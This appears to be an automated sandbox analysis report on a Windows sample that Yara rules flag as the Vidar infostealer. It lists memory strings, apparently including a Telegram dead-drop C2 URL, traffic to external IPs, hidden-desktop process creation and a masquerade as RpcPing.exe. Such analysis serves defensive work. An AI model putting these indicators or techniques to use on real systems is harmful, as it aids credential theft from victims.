Source: aD7D9fkpII.exe, 00000005.00000002.2772700161.0000000001518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04ael)
Source: aD7D9fkpII.exe, 00000005.00000002.2772700161.0000000001518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04ael=
Source: aD7D9fkpII.exe, 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aelm0nk3Mozilla/5.0
Source: chrome.exe, 0000000B.00000002.2326171667.00001E9000A28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: aD7D9fkpII.exe, 00000005.00000003.2074093950.000000000158B000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2772700161.0000000001557000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2770513290.000000000044D000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: aD7D9fkpII.exe, 00000005.00000002.2777956578.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.000000000433F000.00000004.00000020.00020000.00000000.sdmp, IW4WT2.5.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: aD7D9fkpII.exe, 00000005.00000002.2777956578.00000000049F8000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.000000000433F000.00000004.00000020.00020000.00000000.sdmp, IW4WT2.5.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326602638.00001E9000B8C000.00000004.00000800.00020000.00000000.sdmp, CTJWTJ.5.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 0000000B.00000002.2326642438.00001E9000BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 0000000B.00000002.2326642438.00001E9000BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 0000000B.00000002.2326642438.00001E9000BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 0000000B.00000003.2262212583.00001E90002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 0000000B.00000003.2262212583.00001E90002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 0000000B.00000003.2262212583.00001E90002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 0000000B.00000002.2324679295.00001E90006B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 0000000B.00000002.2326962003.00001E9000CA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 0000000B.00000002.2325387457.00001E900080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/CharPk3
Source: chrome.exe, 0000000B.00000002.2328568588.00001E900105C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 0000000B.00000002.2328840965.00001E9001154000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: content.js.16.dr, content_new.js.16.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327786774.00001E9000E48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325825077.00001E9000950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2323163244.00001E90001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327786774.00001E9000E48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325825077.00001E9000950000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: aD7D9fkpII.exe, 00000005.00000002.2774860542.000000000473B000.00000004.00000020.00020000.00000000.sdmp, aD7D9fkpII.exe, 00000005.00000002.2773834918.0000000004373000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324320383.00001E900058C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp, Web Data.16.dr, 47GLNG.5.dr, CTJWTJ.5.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 0000000B.00000002.2323842066.00001E9000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285841265.00001E9002748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285960979.00001E9002764000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 0000000B.00000003.2285302429.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285121622.00001E9002844000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2334359375.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285508925.00001E9002794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 0000000B.00000003.2247628614.00001E900120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 0000000B.00000002.2326203186.00001E9000A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 0000000B.00000003.2262212583.00001E90002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 0000000B.00000002.2322505965.00001E900001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 0000000B.00000003.2273146066.00001E90016A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 0000000B.00000002.2323227457.00001E900020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 0000000B.00000003.2262212583.00001E90002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 0000000B.00000003.2262212583.00001E90002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 0000000B.00000002.2324019525.00001E90004D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 0000000B.00000003.2284741564.00001E900288C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 0000000B.00000003.2287270341.00001E90026B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2334445315.00001E900280C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285841265.00001E9002748000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285960979.00001E9002764000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2284741564.00001E900288C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 0000000B.00000003.2285302429.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285121622.00001E9002844000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2334359375.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285508925.00001E9002794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 0000000B.00000003.2285302429.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285121622.00001E9002844000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2334359375.00001E90027DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000003.2285508925.00001E9002794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd
Source: aD7D9fkpII.exe, 00000005.00000002.2782446076.0000000004C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: aD7D9fkpII.exe, 00000005.00000002.2782446076.0000000004C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: aD7D9fkpII.exe, 00000005.00000002.2782446076.0000000004C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: aD7D9fkpII.exe, 00000005.00000002.2782446076.0000000004C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: aD7D9fkpII.exe, 00000005.00000002.2782446076.0000000004C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: aD7D9fkpII.exe, 00000005.00000002.2782446076.0000000004C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2cc80dabc69f58b6_1.16.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2326962003.00001E9000CA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 0000000B.00000002.2329273254.00001E90015F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327305685.00001E9000D64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 0000000B.00000002.2329273254.00001E90015F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327098835.00001E9000D08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 0000000B.00000002.2324211904.00001E900054F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2322774223.00001E90000DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2327476732.00001E9000D9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlbag
Source: chrome.exe, 0000000B.00000002.2325083176.00001E9000754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt
Source: chrome.exe, 0000000B.00000002.2324075991.00001E9000500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlncmN?
Source: chrome.exe, 0000000B.00000002.2325297166.00001E90007D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ty

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.245.216.205:443 -> 192.168.2.5:49706 version: TLS 1.2

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Code function: 5_2_00407060 strlen,strlen,memcpy,OpenDesktopA,CreateDesktopA,strlen,??3@YAXPAX@Z,??3@YAXPAX@Z,CreateProcessA,Sleep,strlen,strlen,strlen,??3@YAXPAX@Z,CloseDesktop,_invalid_parameter_noinfo_noreturn,

5_2_00407060

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.aD7D9fkpII.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 5.2.aD7D9fkpII.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_00871000	0_2_00871000
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_00888741	0_2_00888741
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_0088E930	0_2_0088E930
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_0089BA42	0_2_0089BA42
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_00889B40	0_2_00889B40
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_00883CDF	0_2_00883CDF
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 0_2_00899C73	0_2_00899C73
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_00871000	2_2_00871000
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_00888741	2_2_00888741
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_0088E930	2_2_0088E930
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_0089BA42	2_2_0089BA42
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_00889B40	2_2_00889B40
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_00883CDF	2_2_00883CDF
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 2_2_00899C73	2_2_00899C73
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_004054A0	5_2_004054A0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_0041C450	5_2_0041C450
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_0041B0B0	5_2_0041B0B0
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_0041A340	5_2_0041A340
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_0041DD60	5_2_0041DD60
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_0041CF70	5_2_0041CF70
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: 5_2_0041D3F0	5_2_0041D3F0

Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: String function: 008914C4 appears 34 times
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: String function: 0088D05E appears 42 times
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: String function: 00410340 appears 127 times
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: String function: 00404DF0 appears 77 times
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: String function: 004119B0 appears 43 times
Source: C:\Users\user\Desktop\aD7D9fkpII.exe	Code function: String function: 008841E0 appears 94 times

Source: C:\Users\user\Desktop\aD7D9fkpII.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6408 -s 372

Source: aD7D9fkpII.exe, 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs aD7D9fkpII.exe
Source: aD7D9fkpII.exe, 00000000.00000002.2333287730.0000000000B9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRpcPing.exej% vs aD7D9fkpII.exe
